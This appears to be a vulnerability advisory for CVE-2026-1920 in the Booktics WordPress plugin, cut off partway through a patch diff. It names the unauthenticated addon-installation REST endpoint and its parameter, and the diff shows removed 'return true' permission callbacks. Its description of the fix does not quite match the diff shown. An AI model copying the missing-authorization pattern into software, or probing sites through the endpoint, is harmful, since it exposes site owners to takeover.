Atomic Edge analysis of CVE-2026-1920:
The vulnerability resides in the missing capability check within the ‘Extension_Controller::update_item_permissions_check’ function in the Booktics WordPress plugin versions up to and including 1.0.16. This function serves as the permission callback for the REST API endpoint that handles addon plugin installation. The function unconditionally returns true, failing to verify if the requesting user possesses the required administrative privileges (typically the ‘install_plugins’ capability). The missing authorization check allows any unauthenticated or low-privileged user to send a POST request to the vulnerable REST endpoint. The endpoint is located at /wp-json/booktics/v1/extensions/update. The request must include a ‘slug’ parameter specifying the addon plugin to install. Successful exploitation results in the arbitrary installation of any Booktics addon plugin from the developer’s repository, potentially introducing malicious code or escalating privileges. The patch in version 1.0.17 adds a proper capability check to the ‘update_item_permissions_check’ function, ensuring only users with the ‘manage_options’ capability can access the endpoint. The fix is implemented in the file booktics/core/extensions/controllers/extension-controller.php, where the function now returns true only if the current user can manage options, otherwise it returns a WP_Error with a 403 status.

CVE-2026-1920: Booktics <= 1.0.16 – Missing Authorization to Addon Plugin Installation (booktics)
CVE-2026-1920
booktics
1.0.16
1.0.17
Analysis Overview
Differential between vulnerable and patched code
--- a/booktics/assets/build/js/frontend.asset.php
+++ b/booktics/assets/build/js/frontend.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element'), 'version' => 'd0ae2231b57b06bd9f9c');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element'), 'version' => '76f9111261c2bea42a55');
--- a/booktics/assets/build/js/packages.asset.php
+++ b/booktics/assets/build/js/packages.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element'), 'version' => '286566e16a0da4bc3c0f');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element'), 'version' => '3604a5e1ea084b846c71');
--- a/booktics/base/abstracts/user-model.php
+++ b/booktics/base/abstracts/user-model.php
@@ -557,7 +557,7 @@
}
// Cast specific keys to objects
- if ( $key == 'schedule' ) {
+ if ( 'schedule' == $key ) {
$value = (object) $value;
}
@@ -570,7 +570,7 @@
$value = filter_var( $value, FILTER_VALIDATE_BOOLEAN );
}
- if ( $key == 'user_registered' ) {
+ if ( 'user_registered' == $key ) {
$value = $default;
}
--- a/booktics/base/activate.php
+++ b/booktics/base/activate.php
@@ -2,6 +2,10 @@
namespace Booktics;
+if ( ! defined( 'ABSPATH' ) ) {
+ exit;
+}
+
/**
* Activation class
*
--- a/booktics/base/container/container.php
+++ b/booktics/base/container/container.php
@@ -1,6 +1,10 @@
<?php
namespace BookticsContainer;
+if ( ! defined( 'ABSPATH' ) ) {
+ exit;
+}
+
use BookticsContainerExceptionDependency_Has_No_Default_Value_Exception;
use BookticsContainerExceptionDependency_Is_Not_Instantiable_Exception;
use Exception;
--- a/booktics/base/deactivate.php
+++ b/booktics/base/deactivate.php
@@ -2,6 +2,10 @@
namespace Booktics;
+if ( ! defined( 'ABSPATH' ) ) {
+ exit;
+}
+
/**
* Deactivation class
*
--- a/booktics/base/installer.php
+++ b/booktics/base/installer.php
@@ -2,6 +2,10 @@
namespace Booktics;
+if ( ! defined( 'ABSPATH' ) ) {
+ exit;
+}
+
use BookticsDummy_DataDummy_Data_Manager;
class Installer {
--- a/booktics/base/services/post-status-service.php
+++ b/booktics/base/services/post-status-service.php
@@ -1,132 +1,132 @@
-<?php
-
-namespace BookticsBaseServices;
-
-/**
- * Handles registration of all custom post statuses for Booktics.
- */
-class Post_Status_Service {
-
- public $post_statuses = array(
- 'active',
- 'deactive',
- 'pending',
- 'canceled',
- 'approved',
- 'completed',
- 'not_show',
- );
-
- /**
- * Get translated label for a specific post status.
- *
- * @param string $post_status The post status.
- * @return string The translated label.
- */
- private function get_label( $post_status ) {
- switch ( $post_status ) {
- case 'active':
- return __( 'Active', 'booktics' );
- case 'deactive':
- return __( 'Deactive', 'booktics' );
- case 'pending':
- return __( 'Pending', 'booktics' );
- case 'canceled':
- return __( 'Canceled', 'booktics' );
- case 'approved':
- return __( 'Approved', 'booktics' );
- case 'completed':
- return __( 'Completed', 'booktics' );
- case 'not_show':
- return __( 'Not Show', 'booktics' );
- default:
- return __( 'Status', 'booktics' );
- }
- }
-
- /**
- * Get label count for a specific post status.
- *
- * @param string $post_status The post status.
- * @return array The label count array.
- */
- private function get_label_count( $post_status ) {
- switch ( $post_status ) {
- case 'active':
- // translators: %s is the count of active items.
- return _n_noop(
- 'Active <span class="count">(%s)</span>',
- 'Active <span class="count">(%s)</span>',
- 'booktics'
- );
- case 'deactive':
- // translators: %s is the count of deactive items.
- return _n_noop(
- 'Deactive <span class="count">(%s)</span>',
- 'Deactive <span class="count">(%s)</span>',
- 'booktics'
- );
- case 'pending':
- // translators: %s is the count of pending items.
- return _n_noop(
- 'Pending <span class="count">(%s)</span>',
- 'Pending <span class="count">(%s)</span>',
- 'booktics'
- );
- case 'canceled':
- // translators: %s is the count of canceled items.
- return _n_noop(
- 'Canceled <span class="count">(%s)</span>',
- 'Canceled <span class="count">(%s)</span>',
- 'booktics'
- );
- case 'approved':
- // translators: %s is the count of approved items.
- return _n_noop(
- 'Approved <span class="count">(%s)</span>',
- 'Approved <span class="count">(%s)</span>',
- 'booktics'
- );
- case 'completed':
- // translators: %s is the count of completed items.
- return _n_noop(
- 'Completed <span class="count">(%s)</span>',
- 'Completed <span class="count">(%s)</span>',
- 'booktics'
- );
- case 'not_show':
- // translators: %s is the count of items not shown.
- return _n_noop(
- 'Not Show <span class="count">(%s)</span>',
- 'Not Show <span class="count">(%s)</span>',
- 'booktics'
- );
- default:
- // translators: %s is the count of items with this status.
- return _n_noop(
- 'Status <span class="count">(%s)</span>',
- 'Status <span class="count">(%s)</span>',
- 'booktics'
- );
- }
- }
-
- /**
- * Register all custom post statuses.
- */
- public function register() {
- foreach ( $this->post_statuses as $post_status ) {
- register_post_status(
- $post_status, array(
- 'label' => $this->get_label( $post_status ),
- 'public' => true,
- 'publicly_queryable' => true,
- 'exclude_from_search' => false,
- 'show_in_admin_all_list' => true,
- 'show_in_admin_status_list' => true,
- 'label_count' => $this->get_label_count( $post_status ),
- )
- );
- }
- }
-}
+<?php
+
+namespace BookticsBaseServices;
+
+/**
+ * Handles registration of all custom post statuses for Booktics.
+ */
+class Post_Status_Service {
+
+ public $post_statuses = array(
+ 'active',
+ 'deactive',
+ 'pending',
+ 'canceled',
+ 'approved',
+ 'completed',
+ 'not_show',
+ );
+
+ /**
+ * Get translated label for a specific post status.
+ *
+ * @param string $post_status The post status.
+ * @return string The translated label.
+ */
+ private function get_label( $post_status ) {
+ switch ( $post_status ) {
+ case 'active':
+ return __( 'Active', 'booktics' );
+ case 'deactive':
+ return __( 'Deactive', 'booktics' );
+ case 'pending':
+ return __( 'Pending', 'booktics' );
+ case 'canceled':
+ return __( 'Canceled', 'booktics' );
+ case 'approved':
+ return __( 'Approved', 'booktics' );
+ case 'completed':
+ return __( 'Completed', 'booktics' );
+ case 'not_show':
+ return __( 'Not Show', 'booktics' );
+ default:
+ return __( 'Status', 'booktics' );
+ }
+ }
+
+ /**
+ * Get label count for a specific post status.
+ *
+ * @param string $post_status The post status.
+ * @return array The label count array.
+ */
+ private function get_label_count( $post_status ) {
+ switch ( $post_status ) {
+ case 'active':
+ // translators: %s is the count of active items.
+ return _n_noop(
+ 'Active <span class="count">(%s)</span>',
+ 'Active <span class="count">(%s)</span>',
+ 'booktics'
+ );
+ case 'deactive':
+ // translators: %s is the count of deactive items.
+ return _n_noop(
+ 'Deactive <span class="count">(%s)</span>',
+ 'Deactive <span class="count">(%s)</span>',
+ 'booktics'
+ );
+ case 'pending':
+ // translators: %s is the count of pending items.
+ return _n_noop(
+ 'Pending <span class="count">(%s)</span>',
+ 'Pending <span class="count">(%s)</span>',
+ 'booktics'
+ );
+ case 'canceled':
+ // translators: %s is the count of canceled items.
+ return _n_noop(
+ 'Canceled <span class="count">(%s)</span>',
+ 'Canceled <span class="count">(%s)</span>',
+ 'booktics'
+ );
+ case 'approved':
+ // translators: %s is the count of approved items.
+ return _n_noop(
+ 'Approved <span class="count">(%s)</span>',
+ 'Approved <span class="count">(%s)</span>',
+ 'booktics'
+ );
+ case 'completed':
+ // translators: %s is the count of completed items.
+ return _n_noop(
+ 'Completed <span class="count">(%s)</span>',
+ 'Completed <span class="count">(%s)</span>',
+ 'booktics'
+ );
+ case 'not_show':
+ // translators: %s is the count of items not shown.
+ return _n_noop(
+ 'Not Show <span class="count">(%s)</span>',
+ 'Not Show <span class="count">(%s)</span>',
+ 'booktics'
+ );
+ default:
+ // translators: %s is the count of items with this status.
+ return _n_noop(
+ 'Status <span class="count">(%s)</span>',
+ 'Status <span class="count">(%s)</span>',
+ 'booktics'
+ );
+ }
+ }
+
+ /**
+ * Register all custom post statuses.
+ */
+ public function register() {
+ foreach ( $this->post_statuses as $post_status ) {
+ register_post_status(
+ $post_status, array(
+ 'label' => $this->get_label( $post_status ),
+ 'public' => true,
+ 'publicly_queryable' => true,
+ 'exclude_from_search' => false,
+ 'show_in_admin_all_list' => true,
+ 'show_in_admin_status_list' => true,
+ 'label_count' => $this->get_label_count( $post_status ),
+ )
+ );
+ }
+ }
+}
--- a/booktics/base/services/schedule-record.php
+++ b/booktics/base/services/schedule-record.php
@@ -30,12 +30,12 @@
*/
public function get_schedules( $id, $type = 'team_member' ) {
$database = new Booktics_Database();
- if ( $type === 'default' ) {
+ if ( 'default' === $type ) {
$where = array(
'team_member_id' => 0,
'service_id' => 0,
);
- } elseif ( $type === 'team_member' ) {
+ } elseif ( 'team_member' === $type ) {
$where = array( 'team_member_id' => $id );
} else {
$where = array( 'service_id' => $id );
@@ -54,16 +54,16 @@
}
foreach ( $schedules as $schedule ) {
- if ( $schedule->custom_date == '0' ) {
+ if ( '0' == $schedule->custom_date ) {
$day = strtolower( array_search( $schedule->week_day, Schedule_Manager::$day_map ) );
- if ( $schedule->start_time == '0' && $schedule->end_time == '0' ) {
+ if ( '0' == $schedule->start_time && '0' == $schedule->end_time ) {
continue;
}
$formatted['schedule'][ $day ][] = array(
'start_time' => $this->format_time( $schedule->start_time ),
'end_time' => $this->format_time( $schedule->end_time ),
);
- } elseif ( $schedule->start_time == '0' && $schedule->end_time == '0' ) {
+ } elseif ( '0' == $schedule->start_time && '0' == $schedule->end_time ) {
$formatted['holiday'][] = $schedule->custom_date;
} else {
$formatted['custom'][] = array(
@@ -107,15 +107,15 @@
$current = $dates[ $i ] ?? null;
// If we've reached the end or found a gap in dates
- if ( $current === null || strtotime( $current ) > strtotime( '+1 day', strtotime( $prev ) ) ) {
+ if ( null === $current || strtotime( $current ) > strtotime( '+1 day', strtotime( $prev ) ) ) {
// Add the range only if start and end are different or it's the last single date
$ranges[] = array( $start, $prev );
- if ( $current !== null ) {
+ if ( null !== $current ) {
$start = $current;
}
}
- if ( $current !== null ) {
+ if ( null !== $current ) {
$prev = $current;
}
}
--- a/booktics/booktics.php
+++ b/booktics/booktics.php
@@ -4,7 +4,7 @@
* Plugin Name: Booktics - Booking Calendar for Appointments and Service Businesses
* Plugin URI: https://arraytics.com/booktics/
* Description: Schedule, Appointment and Seat Booking plugin.
- * Version: 1.0.16
+ * Version: 1.0.17
* Requires at least: 5.2
* Requires PHP: 7.4
* Author: Arraytics
@@ -30,7 +30,7 @@
* @package Booktics
* @category Core
* @author Arraytics
- * @version 1.0.1
+ * @version 1.0.17
*/
use BookticsBooktics;
@@ -46,7 +46,7 @@
// Define constant for the Plugin file.
defined( 'BOOKTICS_FILE' ) || define( 'BOOKTICS_FILE', __FILE__ );
defined( 'BOOKTICS_DIR' ) || define( 'BOOKTICS_DIR', __DIR__ );
-defined( 'BOOKTICS_VERSION' ) || define( 'BOOKTICS_VERSION', '1.0.16' );
+defined( 'BOOKTICS_VERSION' ) || define( 'BOOKTICS_VERSION', '1.0.17' );
global $booktics_container;
@@ -76,7 +76,7 @@
$reflection = new ReflectionMethod( 'UninstallerFormUninstallerForm', 'init' );
$totalParams = $reflection->getNumberOfParameters(); // Maximum number of parameters allowed
- if( $totalParams === 6 ) {
+ if( 6 === $totalParams ) {
$uninstaller_form = new UninstallerFormUninstallerForm();
$uninstaller_form->init(
'Booktics', // Plugin name
--- a/booktics/core/appointment/controllers/appointment-controller.php
+++ b/booktics/core/appointment/controllers/appointment-controller.php
@@ -355,10 +355,51 @@
$args = apply_filters( 'booktics_appointment_args', $args );
+ // Scope to customer's own appointments when not admin/team-member
+ if ( ! booktics_is_admin_or_team_member() && is_user_logged_in() ) {
+ $db = new Booktics_Database();
+ $guest = ( new Guest_Model( $db ) )->find( array( 'wp_user_id' => get_current_user_id() ) );
+ if ( ! $guest ) {
+ return $this->response(
+ array(
+ 'items' => array(),
+ 'total' => 0,
+ 'per_page' => $per_page,
+ 'current_page' => $paged,
+ 'last_page' => 0,
+ ), __( 'No appointments found', 'booktics' )
+ );
+ }
+ // Add customer_id filter to meta_query
+ $args['meta_query'][] = array(
+ 'key' => 'customer_id',
+ 'value' => $guest->id,
+ 'compare' => '=',
+ );
+ }
+
$data = Appointment_Model::paginate( $per_page, $paged, $args );
$data = apply_filters( 'booktics_appointment_data', $data );
+ // Mask team member email for customers (non-admin/team-member)
+ if ( ! booktics_is_admin_or_team_member() && is_user_logged_in() && ! empty( $data['items'] ) ) {
+ foreach ( $data['items'] as $key => $appointment ) {
+ $appointment_array = is_array( $appointment ) ? $appointment : get_object_vars( $appointment );
+
+ // team_member may not be present on all appointments; isset guards this safely.
+ if ( isset( $appointment_array['team_member'] ) ) {
+ if ( is_object( $appointment_array['team_member'] ) ) {
+ $appointment_array['team_member']->user_email = '';
+ } elseif ( is_array( $appointment_array['team_member'] ) && isset( $appointment_array['team_member']['user_email'] ) ) {
+ $appointment_array['team_member']['user_email'] = '';
+ }
+ }
+
+ $data['items'][ $key ] = (object) $appointment_array;
+ }
+ }
+
if ( ! $data ) {
return $this->error( __( 'No appointment found', 'booktics' ), 404 );
}
@@ -382,6 +423,20 @@
return $this->error( __( 'Appointment not found', 'booktics' ), 404 );
}
+ // Mask team member email for customers (non-admin/team-member)
+ if ( ! booktics_is_admin_or_team_member() && is_user_logged_in() ) {
+ $appointment_array = is_array( $appointment ) ? $appointment : get_object_vars( $appointment );
+ // team_member may not be present on all appointments; isset guards this safely.
+ if ( isset( $appointment_array['team_member'] ) ) {
+ if ( is_object( $appointment_array['team_member'] ) ) {
+ $appointment_array['team_member']->user_email = '';
+ } elseif ( is_array( $appointment_array['team_member'] ) && isset( $appointment_array['team_member']['user_email'] ) ) {
+ $appointment_array['team_member']['user_email'] = '';
+ }
+ }
+ return $this->response( (object) $appointment_array );
+ }
+
return $this->response( $appointment );
}
@@ -539,7 +594,29 @@
* @return WP_Error|boolean
*/
public function get_item_permissions_check( $request ) {
- return true;
+ if ( booktics_is_admin_or_team_member() ) {
+ return true;
+ }
+
+ if ( is_user_logged_in() ) {
+ $appointment_id = intval( $request['id'] );
+ $appointment = Appointment_Model::find( $appointment_id );
+
+ if ( $appointment ) {
+ $db = new Booktics_Database();
+ $customer = ( new Guest_Model( $db ) )->find( array( 'id' => $appointment->customer_id ) );
+
+ if ( $customer && intval( $customer->wp_user_id ) === get_current_user_id() ) {
+ return true;
+ }
+ }
+ }
+
+ return new WP_Error(
+ 'booktics_forbidden',
+ __( 'You are not allowed to view this appointment.', 'booktics' ),
+ array( 'status' => 403 )
+ );
}
/**
@@ -550,7 +627,23 @@
* @return WP_Error|boolean
*/
public function get_items_permissions_check( $request ) {
- return true;
+ // Admins and team members get the full, unfiltered appointment list.
+ if ( booktics_is_admin_or_team_member() ) {
+ return true;
+ }
+
+ // Authenticated customers may access this endpoint; get_items() automatically
+ // scopes the query to only their own appointments via customer_id meta_query
+ // in get_items methods (see lines 358–379 of this file).
+ if ( is_user_logged_in() ) {
+ return true;
+ }
+
+ return new WP_Error(
+ 'booktics_forbidden',
+ __( 'You are not allowed to view appointments.', 'booktics' ),
+ array( 'status' => 403 )
+ );
}
/**
@@ -708,7 +801,29 @@
* @param $request Full data about the request.
*/
public function reschedule_item_permissions_check( $request ) {
- return true;
+ if ( booktics_is_admin_or_team_member() ) {
+ return true;
+ }
+
+ if ( is_user_logged_in() ) {
+ $appointment_id = intval( $request['id'] );
+ $appointment = Appointment_Model::find( $appointment_id );
+
+ if ( $appointment ) {
+ $db = new Booktics_Database();
+ $customer = ( new Guest_Model( $db ) )->find( array( 'id' => $appointment->customer_id ) );
+
+ if ( $customer && intval( $customer->wp_user_id ) === get_current_user_id() ) {
+ return true;
+ }
+ }
+ }
+
+ return new WP_Error(
+ 'booktics_forbidden',
+ __( 'You are not allowed to reschedule this appointment.', 'booktics' ),
+ array( 'status' => 403 )
+ );
}
/**
@@ -802,7 +917,29 @@
* @return WP_Error|boolean
*/
public function cancel_item_permissions_check( $request ) {
- return true;
+ if ( booktics_is_admin_or_team_member() ) {
+ return true;
+ }
+
+ if ( is_user_logged_in() ) {
+ $appointment_id = intval( $request['id'] );
+ $appointment = Appointment_Model::find( $appointment_id );
+
+ if ( $appointment ) {
+ $db = new Booktics_Database();
+ $customer = ( new Guest_Model( $db ) )->find( array( 'id' => $appointment->customer_id ) );
+
+ if ( $customer && intval( $customer->wp_user_id ) === get_current_user_id() ) {
+ return true;
+ }
+ }
+ }
+
+ return new WP_Error(
+ 'booktics_forbidden',
+ __( 'You are not allowed to cancel this appointment.', 'booktics' ),
+ array( 'status' => 403 )
+ );
}
/**
--- a/booktics/core/appointment/services/appointment-validator.php
+++ b/booktics/core/appointment/services/appointment-validator.php
@@ -76,11 +76,12 @@
return new WP_Error( 'appointment_not_found', __( 'Appointment not found', 'booktics' ) );
}
- if ( $appointment->status === 'canceled' ) {
+ if ( 'canceled' === $appointment->status ) {
return new WP_Error( 'appointment_cancelled', __( 'This Appointment has already been cancelled', 'booktics' ) );
}
- if ( $appointment->security_token !== $data['security_token'] && ! current_user_can('manage_options')) {
+ $token = isset( $data['security_token'] ) ? (string) $data['security_token'] : '';
+ if ( ! hash_equals( (string) $appointment->security_token, $token ) && ! current_user_can( 'manage_options' ) ) {
return new WP_Error( 'invalid_security_token', __( 'You dont have permission for rescheduling this appointment', 'booktics' ) );
}
@@ -88,7 +89,7 @@
if ( isset( $reschedule_restrictions['enable'] ) && $reschedule_restrictions['enable'] ) {
$restricted_time = $reschedule_restrictions['restricted_time'] ?? 0;
$restricted_unit = $reschedule_restrictions['restricted_unit'] ?? 'hr';
- $restricted_min = $restricted_unit === 'min' ? $restricted_time : $restricted_time * 60;
+ $restricted_min = ('min' === $restricted_unit) ? $restricted_time : $restricted_time * 60;
$current_time = (int) wp_date( 'U' );
$appointment_time = strtotime( $appointment->date . ' ' . $appointment->start_time );
--- a/booktics/core/cart/cart-session.php
+++ b/booktics/core/cart/cart-session.php
@@ -39,6 +39,51 @@
}
/**
+ * Sanitize raw cart session data
+ *
+ * @param mixed $data Raw data retrieved from the session.
+ *
+ * @return mixed Sanitized array or null if input is not an array.
+ */
+ private static function sanitize_session_data( $data ) {
+ if ( ! is_array( $data ) ) {
+ return null;
+ }
+
+ $sanitized_items = array();
+
+ if ( ! empty( $data['items'] ) && is_array( $data['items'] ) ) {
+ foreach ( $data['items'] as $item ) {
+ if ( ! is_array( $item ) ) {
+ continue;
+ }
+
+ $sanitized_item = array(
+ 'uuid' => sanitize_text_field( $item['uuid'] ?? '' ),
+ 'service_id' => absint( $item['service_id'] ?? 0 ),
+ 'team_member_id' => absint( $item['team_member_id'] ?? 0 ),
+ 'date' => sanitize_text_field( $item['date'] ?? '' ),
+ 'start_time' => sanitize_text_field( $item['start_time'] ?? '' ),
+ 'end_time' => sanitize_text_field( $item['end_time'] ?? '' ),
+ 'price' => floatval( $item['price'] ?? 0 ),
+ 'subtotal' => floatval( $item['subtotal'] ?? 0 ),
+ 'total' => floatval( $item['total'] ?? 0 ),
+ );
+
+ $sanitized_item = apply_filters( 'booktics_pro_sanitize_cart_item', $sanitized_item, $item );
+
+ $sanitized_items[] = $sanitized_item;
+ }
+ }
+
+ return array(
+ 'items' => $sanitized_items,
+ 'total' => floatval( $data['total'] ?? 0.00 ),
+ 'coupon' => sanitize_text_field( $data['coupon'] ?? '' ),
+ );
+ }
+
+ /**
* Set cart data in session
*
* @param array $cart Cart data to store in session
--- a/booktics/core/customer/controllers/customer-controller.php
+++ b/booktics/core/customer/controllers/customer-controller.php
@@ -105,7 +105,7 @@
),
),
array(
- 'method' => WP_REST_Server::READABLE,
+ 'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_item' ),
'permission_callback' => array(
$this,
@@ -227,7 +227,34 @@
* @return bool
*/
public function get_customer_permission( $request ) {
- return true;
+ if ( current_user_can( 'manage_options' ) ) {
+ return true;
+ }
+
+ if ( is_user_logged_in() ) {
+ $current_user = wp_get_current_user();
+
+ if ( in_array( 'booktics_team_member', (array) $current_user->roles, true ) ) {
+ return true;
+ }
+
+ $requested_customer_id = isset( $request['id'] ) ? intval( $request['id'] ) : 0;
+
+ if ( $requested_customer_id > 0 ) {
+ $db = new Booktics_Database();
+ $requested_customer = ( new Guest_Model( $db ) )->find( array( 'id' => $requested_customer_id ) );
+
+ if ( $requested_customer && intval( $requested_customer->wp_user_id ) === get_current_user_id() ) {
+ return true;
+ }
+ }
+ }
+
+ return new WP_Error(
+ 'booktics_forbidden',
+ __( 'You are not allowed to view this customer data.', 'booktics' ),
+ array( 'status' => 403 )
+ );
}
/**
@@ -271,6 +298,12 @@
$customers = $customers->paginate( $paged, $per_page );
foreach ( $customers['items'] as &$customer ) {
$customer = ( new Guest_Model( $db ) )->with_virtual_attributes( $customer );
+
+ // Mask wp_user_id and user_login from non-admins (use empty string instead of unset for API consistency)
+ if ( ! current_user_can( 'manage_options' ) ) {
+ $customer->wp_user_id = '';
+ $customer->user_login = '';
+ }
}
return $this->response( $customers, __( 'Successfully fetched customer', 'booktics' ) );
@@ -377,7 +410,7 @@
++$count;
}
}
- if ( $count == 0 ) {
+ if ( 0 == $count ) {
return $this->error( __( 'Customer delete error', 'booktics' ), 500 );
}
@@ -415,6 +448,12 @@
}, $orders['items']
);
+ // Mask wp_user_id and user_login from non-admins (use empty string instead of unset for API consistency)
+ if ( ! current_user_can( 'manage_options' ) ) {
+ $customer->wp_user_id = '';
+ $customer->user_login = '';
+ }
+
return $this->response( $customer, __( 'Customer found successfully', 'booktics' ) );
}
@@ -512,7 +551,15 @@
* @return bool
*/
public function customer_profile_permission( $request ) {
- return true;
+ if ( is_user_logged_in() ) {
+ return true;
+ }
+
+ return new WP_Error(
+ 'booktics_unauthorized',
+ __( 'You must be logged in to view your profile.', 'booktics' ),
+ array( 'status' => 401 )
+ );
}
/**
--- a/booktics/core/dashboard/controllers/dashboard-controller.php
+++ b/booktics/core/dashboard/controllers/dashboard-controller.php
@@ -216,7 +216,7 @@
// Calculate percentage change
$percentage_change = 0;
$trend = 'neutral';
- if ( $previous_bookings != 0 ) {
+ if ( 0 != $previous_bookings ) {
$percentage_change = ( ( $current_bookings - $previous_bookings ) / $previous_bookings ) * 100;
$trend = $this->get_trend( $percentage_change );
}
@@ -272,7 +272,7 @@
$trend = 'neutral';
// Ensure both values are valid numbers before calculation
- if ( is_numeric( $previous_revenue ) && $previous_revenue != 0 && is_numeric( $current_revenue ) ) {
+ if ( is_numeric( $previous_revenue ) && 0 != $previous_revenue && is_numeric( $current_revenue ) ) {
$percentage_change = ( ( $current_revenue - $previous_revenue ) / $previous_revenue ) * 100;
// Check if the result is a valid number
@@ -357,7 +357,7 @@
// Calculate percentage change
$percentage_change = 0;
$trend = 'neutral';
- if ( $previous_results != 0 ) {
+ if ( 0 != $previous_results ) {
$percentage_change = ( ( $current_results - $previous_results ) / $previous_results ) * 100;
$trend = $this->get_trend( $percentage_change );
}
--- a/booktics/core/extensions/controllers/extension-controller.php
+++ b/booktics/core/extensions/controllers/extension-controller.php
@@ -62,7 +62,7 @@
* @return bool|WP_Error
*/
public function get_items_permissions_check( $request ) {
- return true;
+ return current_user_can( 'manage_options' );
}
/**
@@ -108,7 +108,7 @@
* @return bool|WP_Error
*/
public function update_item_permissions_check( $request ) {
- return true;
+ return current_user_can( 'manage_options' );
}
/**
--- a/booktics/core/extensions/controllers/module-controller.php
+++ b/booktics/core/extensions/controllers/module-controller.php
@@ -141,7 +141,7 @@
* @return WP_HTTP_Response Response object on success, or WP_Error object on failure.
*/
public function update_item($request) {
- $params = json_decode($request->get_body(), true);
+ $params = json_decode( $request->get_body(), true);
$name = isset($params['name']) ? sanitize_text_field($params['name']) : '';
$status = isset($params['status']) ? sanitize_text_field($params['status']) : '';
@@ -224,7 +224,7 @@
break;
}
- if ( $result === false ) {
+ if ( false === $result ) {
return $this->error(
/* translators: %s: extension name */
sprintf(__('Could not %s the extension', 'booktics'), $status),
--- a/booktics/core/extensions/extension-icon.php
+++ b/booktics/core/extensions/extension-icon.php
@@ -2,6 +2,10 @@
namespace BookticsExtensions;
+if ( ! defined( 'ABSPATH' ) ) {
+ exit;
+}
+
use BookticsBooktics;
class Extension_Icon {
--- a/booktics/core/module/fluentcrm/fluentcrm-service.php
+++ b/booktics/core/module/fluentcrm/fluentcrm-service.php
@@ -1,95 +1,95 @@
-<?php
-/**
- * FluentCRM Service
- *
- * Handles FluentCRM integration for Booktics orders
- */
-
-namespace BookticsModuleFluentCrm;
-
-if ( ! defined( 'ABSPATH' ) ) exit;
-
-use BookticsContractsHookable_Service_Contract;
-
-class FluentCRM_Service implements Hookable_Service_Contract {
- /**
- * Register hooks
- */
- public function register() {
- add_action( 'booktics_order_created', array( $this, 'add_contact_to_fluentcrm' ) );
- }
-
- /**
- * Add contact to FluentCRM
- *
- * @param object $order_model The order model
- */
- public function add_contact_to_fluentcrm( $order_model ) {
- // Check if FluentCRM is active
- if ( ! defined( 'FLUENTCRM' ) || ! function_exists( 'FluentCrmApi' ) ) {
- return;
- }
-
- // Get customer details
- $customer = get_user_by( 'id', $order_model->customer_id );
- if ( ! $customer ) {
- return;
- }
-
- $customer_data = array(
- 'email' => $customer->user_email,
- 'first_name' => $customer->first_name,
- 'last_name' => $customer->last_name ?: '',
- 'status' => 'subscribed',
- );
-
- try {
- // Check if FluentCRM Pro is active (has webhooks)
- $is_pro_active = is_plugin_active('fluent-crm-pro/fluentcampaign-pro.php');
- $fluentcrm_webhook_exists = !empty( booktics_get_option( 'fluentcrm_webhook_url') );
-
- if ( $is_pro_active && $fluentcrm_webhook_exists ) {
- // Use webhook if Pro is active
- $webhook_url = booktics_get_option( 'fluentcrm_webhook_url');
-
- if ( ! empty( $webhook_url ) ) {
- $this->send_webhook(
- $webhook_url,
- $customer_data,
- );
-
- // Returns if fluentCRM pro exists and is working properly
- return;
- }
- }
-
- // Fallback to direct API for free version, gets used when fluentCRM pro is not active or webhook is not set.
- $contact_api = FluentCrmApi( 'contacts' );
- $contact_api->createOrUpdate( $customer_data );
- } catch ( Throwable $e ) {
- // Ensures silent failure in case of any error
- if ( defined( 'WP_DEBUG_LOG' ) && WP_DEBUG_LOG ) {
- error_log( 'FluentCRM Error: ' . $e->getMessage() ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
- }
- }
- }
-
- private function send_webhook( $url, $data ) {
- $response = wp_remote_post(
- $url,
- array(
- 'body' => wp_json_encode( $data ),
- 'headers' => array(
- 'Content-Type' => 'application/json',
- ),
- 'timeout' => 15,
- )
- );
-
- if ( is_wp_error( $response ) ) {
- if ( defined( 'WP_DEBUG_LOG' ) && WP_DEBUG_LOG ) {
- error_log( 'FluentCRM Webhook Error: ' . $response->get_error_message() ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
- }
- }
- }
-}
+<?php
+/**
+ * FluentCRM Service
+ *
+ * Handles FluentCRM integration for Booktics orders
+ */
+
+namespace BookticsModuleFluentCrm;
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
+use BookticsContractsHookable_Service_Contract;
+
+class FluentCRM_Service implements Hookable_Service_Contract {
+ /**
+ * Register hooks
+ */
+ public function register() {
+ add_action( 'booktics_order_created', array( $this, 'add_contact_to_fluentcrm' ) );
+ }
+
+ /**
+ * Add contact to FluentCRM
+ *
+ * @param object $order_model The order model
+ */
+ public function add_contact_to_fluentcrm( $order_model ) {
+ // Check if FluentCRM is active
+ if ( ! defined( 'FLUENTCRM' ) || ! function_exists( 'FluentCrmApi' ) ) {
+ return;
+ }
+
+ // Get customer details
+ $customer = get_user_by( 'id', $order_model->customer_id );
+ if ( ! $customer ) {
+ return;
+ }
+
+ $customer_data = array(
+ 'email' => $customer->user_email,
+ 'first_name' => $customer->first_name,
+ 'last_name' => $customer->last_name ?: '',
+ 'status' => 'subscribed',
+ );
+
+ try {
+ // Check if FluentCRM Pro is active (has webhooks)
+ $is_pro_active = is_plugin_active('fluent-crm-pro/fluentcampaign-pro.php');
+ $fluentcrm_webhook_exists = !empty( booktics_get_option( 'fluentcrm_webhook_url') );
+
+ if ( $is_pro_active && $fluentcrm_webhook_exists ) {
+ // Use webhook if Pro is active
+ $webhook_url = booktics_get_option( 'fluentcrm_webhook_url');
+
+ if ( ! empty( $webhook_url ) ) {
+ $this->send_webhook(
+ $webhook_url,
+ $customer_data,
+ );
+
+ // Returns if fluentCRM pro exists and is working properly
+ return;
+ }
+ }
+
+ // Fallback to direct API for free version, gets used when fluentCRM pro is not active or webhook is not set.
+ $contact_api = FluentCrmApi( 'contacts' );
+ $contact_api->createOrUpdate( $customer_data );
+ } catch ( Throwable $e ) {
+ // Ensures silent failure in case of any error
